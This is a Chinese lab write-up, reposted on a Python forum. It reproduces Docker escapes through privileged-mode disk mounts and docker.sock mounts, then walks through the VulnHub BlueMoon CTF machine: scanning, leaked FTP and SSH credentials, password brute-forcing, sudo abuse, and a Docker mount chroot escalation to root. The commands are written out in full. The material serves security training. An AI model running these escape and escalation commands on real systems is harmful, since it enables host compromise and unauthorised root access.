社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

从Docker挂载逃逸原理复现分析到BlueMoon实战

合天网安实验室 • 2 年前 • 523 次点击  

Docker逃逸

什么是Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。

Docker逃逸

  • 配置不当引起的docker逃逸

docket remote api未授权访问导致逃逸

特权模式逃逸

挂载敏感目录

  • 内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)

  • Docker本身漏洞(CVE)

    CVE-2019-5736

    CVE-2019-14271

这里主要测试挂载卷造成的逃逸

挂载敏感目录逃逸之特权模式挂载逃逸

实验环境:ubuntu16.04  ,docker 版本 20.10

service docker status


docker的状态是开启的,未安装docker需要安装

特权模式下启动一个容器

docker run -it --privileged ff6f /bin/bash


查看docker容器磁盘文件

fdisk -l


正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件

ls  /dev

创建一个目录名为"test",名字任意创建

mkdir test

此时test目录下无任何文件,将/dev/sda1挂载在test目录下

mount /dev/sda1 /test

查询test目录

此时例如home等目录下是没有任何文件的

amazing写入/test/home/1.txt

echo "amazing" >/test/home/1.txt

此时宿主机home,目录下是存在1.txt文件的

挂载敏感目录逃逸之docker.sock 挂载

Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考

https://www.jb51.net/article/99019.htm

因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式

socket的连接方式有三种

unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

利用docker.sock逃逸的前提条件

  • 攻击者获得了 docker 容器的访问权限
  • 容器已安装/var/run/docker.sock

使用挂载实现docker.sock,拉取一个镜像ubuntu16.04

docker pull ubuntu:16.04


查看镜像

docker images

运行一个挂载/var/run/的容器

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

进入docker容器内

apt-get install docker.io

这个时候安装可能报错

更新源

apt update

更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老

apt-get install docker.io


查看宿主机信息

docker -H unix://var/run/docker.sock info


利用docker.sock再创建一个docker容器,挂载/var/run

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash

此时查看test目录下可看到宿主机文件文件

实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像

alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。

但是alpine在更新apk的时候,比较慢

所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list更换源,可能会快一点。

原理

过程可分为两部分

  • 文件写入

    将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。

CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
  • 文件读取

    它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。

    CONTAINER_ID="$(docker run -d alpine)"  # or existing
    TF=$(mktemp)
    docker cp file_to_read $CONTAINER_ID:$TF
    docker cp $CONTAINER_ID:$TF $TF
    cat $TF

二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID 副本并运行它以维护提升的权限,要与现有的 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。

BlueMoon简介

  • Name: BlueMoon: 2021
  • Date release: 7 Apr 2021
  • Author: Kirthik
  • Series: BlueMoon

环境搭建

攻击机kali

IP 192.168.158.39

目标靶机Debian,ip地址未知,dhcp自动获取

下载地址

https://download.vulnhub.com/bluemoon/bluemoon.ova

导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡

信息搜集

netdiscover -n 192.168.248.39/24

我使用搞得热点比较容易确定目标靶机,扫描端口

nmap -A -p- 192.168.158.250

开放三个端口21,22以及80


扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典

python3 dirsearch.py -u "http://192.168.158.250" -e *

访问是个二维码,扫描的内容

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv USER $PASSWORD bye EOF

获取flag

ftp的账号密码

userftp/ftpp@ssword

工具连接或者命令行都可


information.txt中告诉了,p_list.txt为密码字典,用户名为robin,

上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破


账号密码

robin/k4rv3ndh4nh4ck3r

ssh登录

ssh robin@192.168.158.250

ls

cat user1.txt


使用命令

sudo -l

告诉了jerry权限可以执行/home/robin/project/feedback.sh

横向提权

sudo -u jerry /home/robin/project/feedback.sh

jerry

/bin/sh

当前用户为jerry ,这个时候我们就可以读取前面不能读取的user2.txt,因为这个时候在home/robin,所以切换用户目录读取或者直接读取文件

垂直提权

给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

查询是否有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

find /usr/bin/passwd -exec "/bin/sh" ;

无果,,,,纳闷儿了

docker images

docker ps

镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

此时已经为root权限,读取根目录下的root.txt

结语

这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

体验靶场实操,戳“阅读原文”体验
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/132976
 
523 次点击